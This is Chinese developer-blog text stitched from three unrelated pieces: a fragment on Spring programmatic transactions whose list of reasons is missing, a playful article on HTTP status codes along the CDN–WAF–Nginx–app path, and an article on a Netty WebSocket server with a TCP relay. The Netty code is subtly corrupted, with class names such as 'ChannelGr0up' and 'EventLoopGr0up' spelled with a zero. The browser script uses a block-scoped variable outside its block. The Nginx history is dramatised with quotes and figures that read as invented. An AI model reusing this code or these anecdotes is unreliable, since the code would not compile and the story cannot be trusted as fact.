其实，spring还提供了另外一种创建事务的方式，即通过手动编写代码实现的事务，我们把这种事务叫做：编程式事务。例如：

   @Autowired

   private TransactionTemplate transactionTemplate;

   

   ...

   

   public void save(final User user) {

         queryData1();

         queryData2();

         transactionTemplate.execute((status) => {

            addData1();

            updateData2();

            return Boolean.TRUE;

         })

   }

在spring中为了支持编程式事务，专门提供了一个类：TransactionTemplate，在它的execute方法中，就实现了事务的功能。

相较于@Transactional注解声明式事务，我更建议大家使用，基于TransactionTemplate的编程式事务。主要原因如下：

建议在项目中少使用@Transactional注解开启事务。但并不是说一定不能用它，如果项目中有些业务逻辑比较简单，而且不经常变动，使用@Transactional注解开启事务开启事务也无妨，因为它更简单，开发效率更高，但是千万要小心事务失效的问题。

HTTP状态码：从请求的一生重新理解

“所有数字背后，都是一个请求的遗言。”

—— 某位被502逼疯的工程师

或者，你也可以记住这一句：

“状态码不是用来背的，是用来收尸的。”

—— 同一位工程师，在又一次凌晨三点被叫起来之后

为什么写这篇文章

相信很多朋友面试的时候都会被面试官问到：“你记得多少HTTP状态码？具体有哪些含义？”

一般对于这类问题，我们都会提前复习和记忆，才能回答得比较完整。

但后来我发现一件事：

“背状态码就像背尸检报告，你记住了死因，却没见过现场。”

—— 某位靠背答案转行写代码的面试者

本文从一个请求离开客户端之后的链路出发，带你去看现场。

要彻底搞懂HTTP状态码，我们可以换一种思路：设计这么多状态码，它们具体是在哪一环节、因为什么原因被返回的？

我们的请求传递到整个后端，并不是直接访问到服务器。它要经过一大批网络组件的筛选过滤，每一关都有可能倒下，每一关都会有人替它写下遗言。

下面，让我们从一个请求发送到后端的链路，重新认识一下HTTP状态码。

第一站：边缘节点 CDN

“我以为我能活到源站，结果在门口就被拦下了。”

—— 一个试图直接访问服务器的请求

当一个请求经过DNS解析离开设备，遇到的第一个网络组件是CDN。

CDN是一种缓存设备。它把源服务器的资源拉取到离你最近的地方，像个热情过度的前台：“你要这个？我这有，别往里跑了。”

遇到热门的资源文件（比如B站、抖音的热门视频），直接从CDN获取，速度远远快于访问远端的服务器。对于这些占用带宽较大的静态文件资源，缓存到CDN上是性价比最高的方案。

CDN节点状态码

💡 304是个好东西

每次向CDN发起请求，并不一定需要CDN把整个文件再发一遍。

如果我们本地有缓存，带着文件的指纹（ETag）或修改时间（Last-Modified）去问CDN：“我这个还新鲜吗？”

CDN看一眼：“没变，接着用吧。”

省带宽，省时间，双方都舒服。

—— 这是唯一一个**请求和服务器达成共识“你不用干活”**的状态码。

第二站：安全网关 WAF

“我不是不让你进，我是怕你进来搞破坏。”

—— WAF，一个没有感情的安检机器

请求离开CDN后，仍然不能直接到达源站。它先要经过WAF——Web应用防火墙。

这个组件的作用，名字已经写得很清楚：为了安全。

它像个眼神锐利的保安，把你从头扫到脚：

WAF状态码场景

这些“不正经”的请求方式，其实就是网络安全课里讲的攻击手段。

“我只是想进来看看，它说我是黑客。”

—— 一个带着正常User-Agent却被误杀的公司内网爬虫

第三站：负载均衡器 Nginx

“一万个用户就要一万个进程？凭什么等网速还要占着位置？”

—— Igor Sysoev，Nginx之父，2002年

对于这个组件，一开始我也不明白它为什么有那么多功能。

要认识一件东西，最好的方式是了解它为什么被创造出来。

2002年，莫斯科。

Apache的规矩：来一个人开一个进程，来一万个人开一万个进程。

16G内存，Apache张嘴要50G，然后跪了。

Igor Sysoev每天的工作就是重启服务器——像给同一个病人反复做心肺复苏。

终于有一天他骂了句脏话：

“一万个用户就要一万个进程？凭什么等网速的时候还要占着内存？”

他觉得这不合理——像每个客人身后站一个专属服务员，客人上厕所他都得站着等。

Igor决定写一个“不讲武德”的服务器：

一个服务员管五十桌，谁招手过去，谁看菜单就晾着。不等人，不空转，不占茅坑。

两年，一万行C。

2004年，Nginx诞生。

4个进程扛1万连接，内存500MB。

Apache用50G干的活，它用1%的资源。

后来有人问他为什么写Nginx。

他说：

“等的时候，不应该占着位置。”

Nginx核心状态码

💡 关于499

499是Nginx独有的状态码。

它不是后端返回的，不是WAF拦截的，是Nginx自己记下的遗言：

“他没等我，他走了。”

很多时候你以为的超时（504），其实是用户等得不耐烦，直接关掉了页面。

Nginx默默在日志里写下一行：
“请求已转发，但客户端已失联。”

第四站：Web 应用

“终于到我了。”

—— 一个请求，在穿过CDN、WAF、Nginx之后

终于，请求到达了后端应用。

这里的HTTP状态码，是开发者在代码里亲手写下的。

它是唯一一个由你决定生死的环节。

4xx：你的问题，不是我的问题

“你发过来的东西，我尽力了，真的看不懂。”

—— 应用对400说

“你说你叫admin，但我这已经有叫admin的了。”

—— 409 Conflict，注册接口的日常

2xx：一切顺利

“今天是个好日子。”

—— 200 OK，最幸福的状态码

3xx：别找我，去那边

“我已经搬家了，这是新地址。”

—— 301，一个负责任的旧门牌

5xx：我炸了，不是你的错

“对不起，是我的问题。”

—— 500 Internal Server Error，一个有礼貌的崩溃

“我调了别人的接口，别人没回我。”

—— 504，一个被上游坑死的请求

链路简图 · 请求的一生

“这不是架构图，这是事故多发路段示意图。”

写在最后：状态码不是数字，是请求的“尸检报告”

行文至此，我们已经陪着一个HTTP请求走完了它的完整一生。

它从你的浏览器出发，叩开CDN的大门，穿过WAF的安检，经过Nginx的调度，最终抵达应用服务器的后厨。

而在每一道关卡，都有可能倒下——也可能凯旋。

每一个状态码，都不是随机数字，而是请求倒下的那一刻，最后一个活着的人替它写下的死因报告。

当你再看到502，你脑海里应该浮现的不是“Bad Gateway”这行英文，而是一场事故现场：

• 也许是CDN回源时，源站说了句它听不懂的方言（非法响应）


• 也许是Nginx转发时，后端的应用根本没在听（连接失败）


• 也许是你的代码调用第三方API，对方接了电话但开始沉默（超时）


• 也许是负载均衡器巡视一圈，发现所有小弟都已阵亡（无可用后端）

同一个502，七种死法。症状相同，病灶各异。

这就是为什么，学会背状态码的人只能回答“它是什么意思”，而理解链路的人能回答：

“它死在了哪一环。”

这趟旅程也告诉我们另一件事：

CDN会替你背锅，Nginx会替你扛压，WAF会替你挡刀——但它们都只是过客。

唯一从头到尾、从生到死都陪着你代码的，是你自己写的业务逻辑。

200是你写的，404是你写的，500也是你写的。

状态码不是面试官拷问你的工具，而是你的代码和这个世界对话的语言。

你用200说：“一切正常。”

你用404说：“你找的东西不在这里。”

你用500说：“抱歉，我出了点问题，已经在看日志了。”

所以，别再背状态码了。

去理解你请求走过的路，去读懂每一行日志，去亲手写下每一个你返回的状态码。

当你不再问“502是什么意思”，而是问——

“这个502是谁报的？”

“在哪一环报的？”

“日志里留下了什么线索？”

那一刻，你就不再是背答案的人，而是真的懂了。

“愿你的200永远不鸽，愿你的5xx永远有日志可查。”

—— 同一位被502逼疯的工程师，在最后一次上线后说

关注我的公众号：【编程朝花夕拾】，可获取首发内容。

01 引言

长连接是业务项目中经常遇到的技术，往往用于数据向前端推送，如各种大屏、驾驶舱等实时数据的展示。单向推送可能会选择SSE，SSE因为AI时代的到来，逐步被大家熟知，而WebSocket作为经典的双向通讯，也经常被用来做数据推送。

今天聊一下，我发现的一种特殊的设计，可以单独将基于Netty的WebSocket单独部署，接入时，只需要引入API，初始化客户端即可完成对接。直接隔离了WebSocket服务端的编码。

02 普通应用

WebSocket的普通接入，需要编写WebSocket服务端。通过浏览器原生 API即可实现。

2.1 前端代码

浏览器原生的代码：

if ('WebSocket' in window) {

  const websocket = new WebSocket("ws://localhost:9090/testWs");

} else {

  alert('当前浏览器不支持 WebSocket');

}



websocket.onopen = function(event) {

  console.log('WebSocket 连接成功');

};



websocket.onmessage = function(event) {

  console.log('收到消息:', event.data);

};



websocket.onerror = function(error) {

  console.error('WebSocket 错误:', error);

};



websocket.onclose = function(event) {

  console.log('WebSocket 连接关闭');

};



// 发送消息

function sendMessage() {

  const message = document.getElementById('text').value;

  websocket.send(message);

}



// 关闭连接

function closeConnection() {

  websocket.close();

}

2.2 服务端代码

@Slf4j

@Component

public class WebSocketServer {



    @Getter

    private ChannelGr0up channelGr0up = new DefaultChannelGr0up(GlobalEventExecutor.INSTANCE);



    public void start() throws InterruptedException {

        EventLoopGr0up bossGr0up = new NioEventLoopGr0up();

        EventLoopGr0up workGr0up = new NioEventLoopGr0up();



        ServerBootstrap serverBootstrap = new ServerBootstrap();

        serverBootstrap.group(bossGr0up, workGr0up);

        serverBootstrap.channel(NioServerSocketChannel.class);

        serverBootstrap.childHandler(new ChannelInitializer<SocketChannel>(){



            @Override

            protected void initChannel(SocketChannel socketChannel) throws Exception {

                ChannelPipeline pipeline = socketChannel.pipeline();

                pipeline.addLast(new HttpServerCodec());

                pipeline.addLast(new HttpObjectAggregator(65535));

                pipeline.addLast(new WebSocketServerProtocolHandler("/testWs"));

                // 自定义的handler，处理业务逻辑

                pipeline.addLast(new SimpleChannelInboundHandler<TextWebSocketFrame>() {



                    @Override

                    public void handlerAdded(ChannelHandlerContext ctx) throws Exception {

                        // 建立客户端

                        Channel channel = ctx.channel();

                        log.info("客户端建立连接：channelId={}", channel.id());

                        channelGr0up.add(channel);

                    }



                    @Override

                    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {

                        // 断开链接

                        Channel channel = ctx.channel();

                        log.info("客户端断开连接：channelId={}", channel.id());

                        channelGr0up.remove(channel);

                    }



                    @Override

                    protected void channelRead0(ChannelHandlerContext ctx, TextWebSocketFrame msg) throws Exception {

                        // 接受消息

                        Channel channel = ctx.channel();

                        log.info("收到来自通道channelId[{}]发送的消息：{}", channel.id(), msg.text());



                        // 广播通知所有的客户端

                        channelGr0up.writeAndFlush(new TextWebSocketFrame("收到来自channelId[" + channel.id() + "]发送的消息：" + msg.text() + "123_"));

                    }

                });

            }

        });



        // 配置完成，开始绑定server，通过调用sync同步方法阻塞直到绑定成功

        ChannelFuture channelFuture = serverBootstrap.bind(9090).sync();

        log.info("Server started and listen on:{}",channelFuture.channel().localAddress());

        // 对关闭通道进行监听

        channelFuture.channel().closeFuture().sync();

    }

}

2.3 效果演示

为了方便演示，我直接使用在线测试工具：

webfem.com/tools/ws/in…

2.4 设计思想

设计如图：

这就是一个简单的点对点的一个设计。这样的设计本身没有什么问题，但是面对不同的业务系统都要接入WebSocket，我们就需要将服务端的代码复制一份，然后修改成适合自己业务项目的逻辑。

如果业务项目比较多，就会出现大量重复的代码，如我们公司就有20多个业务系统。从《代码重构》这本书中，就得知这是一种坏的味道，需要我们想办法优化。

如何来优化呢？按照阿里程序员的说话，没有什么是加一个中间层不能解决的，如果不能那就再加一层。

03 独特的设计

3.1 总览

如何通过中间层去解耦呢？

为了将WebSocket能够复用，就需要通过一个中间层能够作为一个传递者。既可以让用户直接连接WebSocket，也可以通过中间层直接推送消息。

我们来看看最终的设计流程：

3.2 流程分析

在流程分析执之前，我们需要说明引入的中间层。

• Socket中间客户端


• Socket服务

Socket中间客户端

Socket中间客户端作为一个jar传递于业务项目中，用来代替WebSocket直接推送消息给Socket客户端。同时也会将WebSocket服务的IP和端口暴露给客户端。

Socket中间客户端是基于Netty的Socket客户端，通过Bootstrap bootstrap = new Bootstrap()实例化，遵循TCP协议。详见代码。

Socket服务

为什么需要引入Socket服务呢？这也是小编之前非常疑惑的地方，直到自己搭建才知道为什么这么设计。

由于Socket中间客户端无法直接连接WebSocket，那么那就要一个完全基于TCP协议的Socket服务，就可以和Socket中间客户端建立连接。

而Socket服务和WebSocket位于同一个服务，就可以获取到WebSocket的所有通道（channel），就可以将消息推送给客户端了。

运行流程

• ① 客户端通过业务项目暴露的WebSOcket的IP和端口给前端，前端用来建立WebSocket连接。当着这个主要针对H5。类似安卓或者IOS有支持TCP的SDK，就可以直接连接Socket服务了。


• ② 随着业务项目启动建立与Socket服务的连接，等待随时给Socket服务发送消息。


• ③ Socket服务接收到消息后，直接获取WebSocket的通道。然后通过通道可以推送消息。


• ④ 获取到通道之后，就可以直接推送消息给前端了。

所以每次使用，只需要引入Jar，需要推送消息给客户端，只需要直接调用方法推送即可。

04 设计实现

4.1 WebSocket服务端

代码同2.2的代码

WebSocket服务的端口是9090

4.2 Socket服务端

@Slf4j

@Component

public class SockerServer {



    @Autowired

    private WebSocketServer webSocketServer;



    public void start() throws InterruptedException {

        EventLoopGr0up bossGr0up = new NioEventLoopGr0up();

        EventLoopGr0up workGr0up = new NioEventLoopGr0up();



        ServerBootstrap serverBootstrap = new ServerBootstrap();

        serverBootstrap.group(bossGr0up, workGr0up);

        serverBootstrap.channel(NioServerSocketChannel.class);

        serverBootstrap.childHandler(new ChannelInitializer<SocketChannel>(){



            @Override

            protected void initChannel(SocketChannel socketChannel) throws Exception {

                ChannelPipeline pipeline = socketChannel.pipeline();

                pipeline.addLast(new DelimiterBasedFrameDecoder(2048, Unpooled.copiedBuffer("_".getBytes())));

                pipeline.addLast(new StringDecoder(StandardCharsets.UTF_8));

                pipeline.addLast(new StringEncoder(StandardCharsets.UTF_8));

                // 自定义的handler，处理业务逻辑

                pipeline.addLast(new SimpleChannelInboundHandler<>() {



                    @Override

                    public void handlerAdded(ChannelHandlerContext ctx) throws Exception {

                        // 建立客户端

                        Channel channel = ctx.channel();

                        log.info("Socket客户端建立连接：channelId={}", channel.id());

                    }



                    @Override

                    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {

                        // 断开链接

                        Channel channel = ctx.channel();

                        log.info("Socket客户端断开连接：channelId={}", channel.id());

                    }



                    @Override

                    protected void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {

                        // 接受消息

                        Channel channel = ctx.channel();

                        log.info("Socket收到来自通道channelId[{}]发送的消息：{}", channel.id(), msg);

                        // 通过WebSocket将方法发送给客户端

                        webSocketServer.getChannelGr0up().writeAndFlush(new TextWebSocketFrame("收到来自channelId[" + channel.id() + "]发送的消息：" + msg + "123_"));

                    }

                });

            }

        });



        // 配置完成，开始绑定server，通过调用sync同步方法阻塞直到绑定成功

        ChannelFuture channelFuture = serverBootstrap.bind(9091).sync();

        log.info("Server started and listen on:{}",channelFuture.channel().localAddress());

        // 对关闭通道进行监听

        channelFuture.channel().closeFuture().sync();

    }

}

Socket服务的端口是9091

4.3 Socket中间客户端

@Slf4j

public class MockClient {



    @Getter

    private SocketChannel socketChannel;



    public void connect() throws InterruptedException {

        EventLoopGr0up eventLoopGr0up = new NioEventLoopGr0up();

        Bootstrap bootstrap = new Bootstrap();

        bootstrap.channel(NioSocketChannel.class);

        bootstrap.option(ChannelOption.SO_KEEPALIVE, true);

        bootstrap.option(ChannelOption.SO_BACKLOG, 500);

        bootstrap.group(eventLoopGr0up);



        bootstrap.handler(new ChannelInitializer() {

            @Override

            protected void initChannel(Channel channel) throws Exception {

                ChannelPipeline pipeline = channel.pipeline();

                pipeline.addLast(new DelimiterBasedFrameDecoder(2048, Unpooled.copiedBuffer("_".getBytes())));

                pipeline.addLast(new StringDecoder(StandardCharsets.UTF_8));

                pipeline.addLast(new StringEncoder(StandardCharsets.UTF_8));

                pipeline.addLast(new SimpleChannelInboundHandler<String>(){

                    @Override

                    protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception {

                        log.info("client receive: {}", msg);

                    }

                });

            }

        });



        ChannelFuture channelFuture = bootstrap.connect("127.0.0.1", 9091).sync();

        this.socketChannel = (SocketChannel) channelFuture.channel();

    }

}

Socket只是用来发送消息的，所以不同处理接受的消息。注意这里的中间客户端连接的是Socket服务，端口是9091

4.4 配置启动

@Slf4j

@Component

public class StartConfig {



    @Autowired

    private WebSocketServer webSocketServer;

    @Autowired

    private SockerServer socketServer;





    @PostConstruct

    public void init() {

        ExecutorService executorService = Executors.newFixedThreadPool(2);

        executorService.execute(() -> {

            log.info("websocket init ....");

            try {

                webSocketServer.start();

            } catch (InterruptedException e) {

                throw new RuntimeException(e);

            }

        });



        executorService.execute(() -> {

            log.info("socket init ....");

            try {

                socketServer.start();

            } catch (InterruptedException e) {

                throw new RuntimeException(e);

            }

        });

    }

}